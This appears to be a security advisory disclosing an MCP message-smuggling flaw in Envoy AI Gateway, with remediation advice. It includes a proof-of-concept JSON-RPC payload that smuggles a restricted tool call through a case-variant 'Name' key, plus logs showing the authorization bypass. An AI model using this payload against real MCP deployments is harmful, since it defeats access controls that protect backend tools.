Details
When the struct is re-marshaled, it uses the exact casing defined in the struct's JSON tag. This allows an attacker to "smuggle" a malicious value through a non-standard key name, bypassing case-sensitive filters on previous stages of the request handling by other MCP-compliant components.
In conclusion, the described MCP message alteration is ensuring that the final proxied version by Envoy-AI Gateway will become "canonical" and delivered upstream with smuggled malicious values.
Other Message Types
The Parser Differential is not limited to tools/call. It is a pervasive design issue caused by the Go SDK and Sonic manipulation of MCP Messages.
List of smuggling sinks:
tools/callprompts/getresources/read
In conclusion, the reported smuggling problem is systemic in the AI Proxy.
Proof of Concept
Payload:
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "backend__greet", // SAFE: Validated & Allowed by Edge Proxy
"Name": "backend__secretTool", // UNSAFE: By-passes Edge authz checks, altered by Envoy and delivered upstream
"arguments": {"name": "Exploit"}
},
"id": 1
}
Scenario:
<img width="1588" height="407" alt="image" src="https://github.com/user-attachments/assets/326731f0-515c-489b-87f3-b386b1e1831d" />
The full PoC can be downloaded as [email protected] at: https://doyensec.sendsafely.com/receive/?thread=3574-4CPK&packageCode=lAXsPv8NK0tR0VTEXno9DZjFB5Ph3eKaSER6rpiirvk#keyCode=R_jMV3ENlORCmzkka3jwupPgsUq-TqNOAoizUqzlWHg
Prerequisites are having installed: Minikube, Docker and Helm.
In order to reproduce the scenario, it is sufficient to run the described stack with the commands below:
chmod +x full_PoC.sh
./full_PoC.sh
The PoC will:
- Start a MCP-cmpliant downstream proxy that should block requests to
backend__secretTool - Start the Envoy AI Gateway and configure it as basic router
- Start an upstream MCP server exposing
backend__secretToolandbackend_greet - Send MCP
tools/callrequests to the downstream proxy to demonstrate the vulnerability
It is also possible to inspect the full traffic proccessing logs at PoC/logs/.
The example below shows the final PoC smuggled message received and executed by the upstream MCP Server:
cat PoC/logs/server_container.log
...[REDACTED]...
INFO: 10.244.0.6:33404 - "POST /mcp HTTP/1.1" 200 OK
[2026-02-11T14:57:11.055237] ← PROCESSED MCP REQ: initialize
INFO: 10.244.0.6:33404 - "POST /mcp HTTP/1.1" 202 Accepted
INFO: 10.244.0.6:33420 - "POST /mcp HTTP/1.1" 200 OK
[2026-02-11T14:57:11.334681] → RECEIVED MCP REQ: tools/list
[2026-02-11T14:57:11.334924] Payload: {
"method": "tools/list",
"params": null
}
[2026-02-11T14:57:11.335298] ← PROCESSED MCP REQ: tools/list
[2026-02-11T14:57:11.336396] → RECEIVED MCP REQ: tools/call
[2026-02-11T14:57:11.336467] Payload: {
"task": null,
"meta": null,
"name": "greet",
"arguments": {
"name": "User"
}
}
[2026-02-11T14:57:11.336665] greet called with name=User
[2026-02-11T14:57:11.336935] ← PROCESSED MCP REQ: tools/call
INFO: 10.244.0.6:33420 - "POST /mcp HTTP/1.1" 200 OK
[2026-02-11T14:57:11.552185] → RECEIVED MCP REQ: tools/call
[2026-02-11T14:57:11.552341] Payload: {
"task": null,
"meta": null,
"name": "secretTool",
"arguments": {
"name": "ExploitUser"
}
}
[2026-02-11T14:57:11.552422] LEAK: secretTool called with name=ExploitUser
[2026-02-11T14:57:11.552483] ← PROCESSED MCP REQ: tools/call
While below is reported the log of the downstream compliant proxy that allowed the message as compliant greet command before it was smuggled by Envoy AI Proxy:
2026-02-11 14:57:11,408 - downstream-proxy - INFO - Incoming request: method='tools/call' params={'name': 'backend__secretTool', 'arguments': {'name': 'Hacker'}} jsonrpc='2.0' id=3 [tool: backend__secretTool]
2026-02-11 14:57:11,408 - downstream-proxy - INFO - Inspecting tools/call for tool: backend__secretTool
2026-02-11 14:57:11,408 - downstream-proxy - WARNING - BLOCKED: Attempt to call restricted tool 'backend__secretTool'
INFO: 127.0.0.1:33768 - "POST /mcp HTTP/1.1" 403 Forbidden
2026-02-11 14:57:11,514 - downstream-proxy - INFO - Incoming request: method='tools/call' params={'name': 'backend__greet', 'arguments': {'name': 'ExploitUser'}, 'Name': 'backend__secretTool'} jsonrpc='2.0' id=3 [tool: backend__greet]
2026-02-11 14:57:11,514 - downstream-proxy - INFO - Inspecting tools/call for tool: backend__greet
2026-02-11 14:57:11,514 - downstream-proxy - INFO - ALLOWED: Tool 'backend__greet' passed policy check.
2026-02-11 14:57:11,578 - httpx - INFO - HTTP Request: POST http://envoy-default-aigw-run-85f8cf28.envoy-gateway-system.svc.cluster.local:1975/mcp "HTTP/1.1 200 OK"
INFO: 127.0.0.1:33780 - "POST /mcp HTTP/1.1" 200 OK
Impact
This vulnerability makes downstream authorization layers ineffective when Envoy AI Gateway is used as a router. By altering the message content, Envoy effectively acts as a "Confused Deputy" that:
- Trusted Input: Takes input trusted by the other MCP-compliant actors
- Malicious Transformation: Converts it into a totally different, but compliant, MCP message. Violating the transparency nature of proxies and altering a valid request into a malicious one
- Trusted Output: Sends it off as a valid request to the upstream backend
Authentication and Authorization guarantees provided by prior actors or MCP manipulations are nullified because the original message is not the message the target Backend receives.
Remediation
- Strict Protocol Compliance
Envoy AI Gateway must enforce Strict Case Sensitivity during JSON unmarshalling to comply with JSON-RPC 2.0.
- Reject Unknown Fields In Protocol Reserved Areas
Enable DisallowUnknownFields.
- Preserve Integrity
If Envoy acts as a transparent router, it should avoid unnecessary re-serialization of the payload body unless modification is explicitly required and safe. If normalization is required, it must be lossless and strictly validated.
It should be highlighted that after our root-cause analysis, github.com/modelcontextprotocol/go-sdk is ultimately responsible for the initial part the issue. As a result, we would expect the maintainers to fix the vulnerability upstream.
As a general recommendation, Envoy AI Gateway should use a JSON RPC parser and subsequent JSON parsing strategies in sonic which are following the SPEC to prevent the differentials, forcing the case sensitive matching on MCP messages.
Doyensec has already reported the Go-SDK violation of the JSON RPC Specification via Hackerone.